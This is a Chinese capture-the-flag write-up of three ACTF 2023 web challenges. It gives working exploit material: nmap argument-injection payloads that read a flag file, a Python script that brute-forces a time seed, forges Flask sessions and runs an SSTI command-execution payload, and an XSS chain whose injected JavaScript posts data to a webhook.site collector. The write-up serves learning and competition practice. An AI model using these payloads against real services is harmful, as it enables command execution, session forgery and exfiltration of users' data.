ACTF2023 Web部分
[ACTF 2023] MyGO’s Live!!!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
|
const express = require('express'); const { spawn } = require('child_process'); const fs = require('fs');
const app = express(); const port = 3333; app.use(express.static('public')); app.get('/', (req, res) => { fs.readFile(__dirname + '/public/index.html', 'utf8', (err, data) => { if (err) { console.error(err); res.status(500).send('Internal Server Error'); } else { res.send(data); } }) } ); function escaped(c) { if (c == ' ') return '\\ '; if (c == '$') return '\\$'; if (c == '`') return '\\`'; if (c == '"') return '\\"'; if (c == '\\') return '\\\\'; if (c == '|') return '\\|'; if (c == '&') return '\\&'; if (c == ';') return '\\;'; if (c == '<') return '\\<'; if (c == '>') return '\\>'; if (c == '(') return '\\('; if (c == ')') return '\\)'; if (c == "'") return '\\\''; if (c == "\n") return '\\n'; if (c == "*") return '\\*'; else return c; } app.get('/checker', (req, res) => { let url = req.query.url; if (url) { if (url.length > 60) { res.send("我喜欢你"); return; } url = [...url].map(escaped).join(""); console.log(url);
let host; let port; if (url.includes(":")) { const parts = url.split(":"); host = parts[0]; port = parts.slice(1).join(":"); } else { host = url; } let command = "";
if (port) { if (isNaN(parseInt(port))) { res.send("我喜欢你"); return; } command = ["nmap", "-p", port, host].join(" "); } else { command = ["nmap", "-p", "80", host].join(" "); }
var fdout = fs.openSync('stdout.log', 'a'); var fderr = fs.openSync('stderr.log', 'a'); nmap = spawn("bash", ["-c", command], {stdio: [0,fdout,fderr] } );
nmap.on('exit', function (code) { console.log('child process exited with code ' + code.toString()); if (code !== 0) { let data = fs.readFileSync('stderr.log'); console.error(`Error executing command: ${data}`); res.send(`Error executing command!!! ${data}`); } else { let data = fs.readFileSync('stdout.log'); console.error(`Ok: ${data}`); res.send(`${data}`); } }); } else { res.send('No parameter provided.'); } });
app.listen(port, () => { console.log(`Server listening on port ${port}`); });
process.on('uncaughtException', (err) => { console.error('Uncaught Exception:', err); });
|
1
| checker?url=:1%0d-iL%09/flag-????????????????%09-oN%09/dev/stdout
|
1
| checker?url=-iL%20/flag%20public/index.html%20127.0.0.1
|
[ACTF 2023] story
https://su-team.cn/passages/2023-10-28-ACTF/
https://mp.weixin.qq.com/s/JpCJqwSjQKquua9jwUzmxg
https://tttang.com/archive/1698/#toc_payload
说一下整体思路,首先去审计代码,发现seed是基于时间的,即使有个随机数直接爆破就行,这一步在get_seed实现,获得seed之后,去write路由写模板注入,发现有waf,waf的过滤规则有一个随机。我们这里选择读取config配置,进而伪造session,只有rule6可以config,直接爆就完了,这个实现在get_config_secretKey函数,就是为了获取secret_key,之后就是session伪造,没有什么过滤了就,直接ssti打就完了。
以下是exp,需要在同目录下添加captcha.py和minic.py 还需要把Captcha类初始化时的_key赋值时把随机去掉
1 2 3 4 5 6 7 8 9 10 11
| def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4, fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None): self._width = width self._height = height self._length = length # self._key = (key or int(time.time())) + random.randint(1,100) self._key = (key or int(time.time())) self._fonts = fonts or DEFAULT_FONTS self._font_sizes = font_sizes or (42, 50, 56) self._truefonts: t.List[FreeTypeFont] = [] random.seed(self._key)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from captcha import Captcha, generate_code from minic import * import requests import time import html
url = 'http://39.105.51.11:28130'
def get_seed(): j = 0 while True: j = j+1 print(j) session = requests.session() now_time = int(time.time()) count = 0 server_code = session.get(url+"/captcha") last_time = int(time.time()) for i in range(0,102): gen = Captcha(200,80,key=now_time+i) buf, captcha_text = gen.generate() tmp = buf.getvalue() if tmp == server_code.content: print(now_time+i) print("success--------") seed = now_time+i return seed
def get_config_secretKey(): payload = {"story":"{{config}}"} session = requests.session() while True: code = generate_code() res = session.post(url+'/vip',json={"captcha":code})
minic_waf(str(payload)) res = session.post(url+'/write',json={"story":str(payload)}).text print(res) if 'no way' in res: continue else: res = session.get(url+'/story').text res = html.unescape(res) print(res) break
def get_encode(): import ast from abc import ABC from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e key = 'secret123123' session = { "story":"{{config.__init__.__globals__.__builtins__['__import__']('os').popen('ls;cat flag').read()}}" } cookie = FSCM.encode(key,str(session)) print(cookie) res = requests.get(url+'/story',cookies={'session':cookie}).text res = html.unescape(res) print(res)
get_encode()
|
[ACTF 2023] easy latex
http://39.105.51.11:28131/
http://39.105.51.11:28132/
http://39.105.51.11:28133/
https://su-team.cn/passages/2023-10-28-ACTF/
https://webhook.site/#!/7257d7bf-570b-4197-a502-3df2198633ea/57106e30-790a-479a-a90f-69e4b6ce89ca/1
http://webhook.site/7257d7bf-570b-4197-a502-3df2198633ea
https://adworld.xctf.org.cn/match/list?event_hash=706a7a8c-65a0-11ee-ab28-000c29bc20bf
https://github.com/longuan/docker-for-XSS-plaform
https://github.com/trysec/BlueLotus_XSSReceiver
1 2 3
| /share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%68%75%61%68%75%61%26%74%68%65%6d%65%3d%2f%2f%31%32%34%2e%32%32%30%2e%32%31%35%2e%38%3a%37%38%39%30%2f%68%75%61%68%75%61
/share/../preview?tex=huahua&theme=//124.220.215.8:7890/huahua
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| # 拉去镜像文件 git clone https://github.com/solei1/docker-for-XSS-plaform
#进入到XSS目录,修改配置文件 #修改config.php文件 $config['urlroot'] ='http://ip:port'; 后面的网址改为自己域名或者ip #修改setup.php文件倒数第二行,将 http://ip:port改为自己的域名或者ip(与上一步一致) #修改setup.php文件最后一行, 设置管理员帐号, 默认是admin:admin123 #退回到Dockerfile所在目录, 执行 docker build -t xssplatform/solei1:1.0 .
#启动docker (自己选择映射的端口代替port,与前面一致) docker run -d -p port:80 xssplatform/solei1:1.0
#首先访问http://ip:port/setup.php,进行数据库初始化 #之后就可以用你修改的管理员帐号登陆到xssplatform了
|
复现:
preview路由存在xss,theme可控,可加载js
接着看share/:id路由
跟进visit
存在csrf漏洞,用share路由请求preview路由加载js文件,就能读取bot的cookie了,但是存在httponly读取不了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| const loginUrl = '/login'; const vipUrl = '/vip'; const loginCode = 'huahua'; async function test(a){ try{ const fetchOptions = { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: "error"+a, };
const response = await fetch("https://webhook.site/7257d7bf-570b-4197-a502-3df2198633ea",fetchOptions); console.log(response.text); }catch{ console.log("error"); } }
const loginData = new URLSearchParams({ username: '//webhook.site/7257d7bf-570b-4197-a502-3df2198633ea', password: 'f149e0a6dd1ae68af99164bef0a7ce9f', });
const fetchOptions = { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: loginData, };
async function loginAndFetchVip() { try { const loginResponse = await fetch(loginUrl, fetchOptions); test("login win"); if (loginResponse.ok) { const vipResponse = await fetch(vipUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ code: loginCode }), credentials: 'include', }); test("win"); } else { test("Handle loginResponse errors here"); } } catch (error) { console.error(error); test("Handle any fetch-related errors here"); } } loginAndFetchVip();
|
1
| http://39.105.51.11:28131/share/..%2Fpreview%3Ftex%3Dhuahua%26theme%3D%2F%2F39.105.51.11%3A28136%2Fmyjs%2Fflag.js
|
1
| <script src="http://39.105.51.11:28136/myjs/flag.js"></script>
|
上面这一步一直失败,最后去请教了su战队的做题的师傅,才明白是latex-js默认会加载js文件夹下的base.js,只需要python开启一个目录服务让它访问就行了,新建一个js文件夹,base.js文件,里面放恶意代码就全部ok了。
payload
1 2
| ../preview?tex=123&theme=//39.105.51.11/huahua %2E%2E%2Fpreview%3Ftex%3D123%26theme%3D%2F%2F39%2E105%2E51%2E11%2Fhuahua
|
1
| http://39.105.51.11:28131/share/..%2Fpreview%3Ftex%3D123%26theme%3D%2F%2F39.105.51.11%2Fhuahua
|
利用成功
总结一下:这个题其实不算很难,一个内网的python服务复现完感觉像是唬人的,没什么用,就一个nodejs的vip路由最后读取cookie时会用得到,python的服务完全没用的到。然后就是xss的利用点和平常的利用可能不太一样,这个是利用latex-js标签默认会加载/js/base.js文件,那我就放个远程目录给他加载,改一下base.js为恶意代码就行。具体的恶意代码就是fetch请求的那些代码,最后带着cookie访问到了webhook.site,就得到flag了。思路不难,但是实现起来不简单,很多细节问题才是见证技术的地方,很容易理解不到位。这个复现收获很大。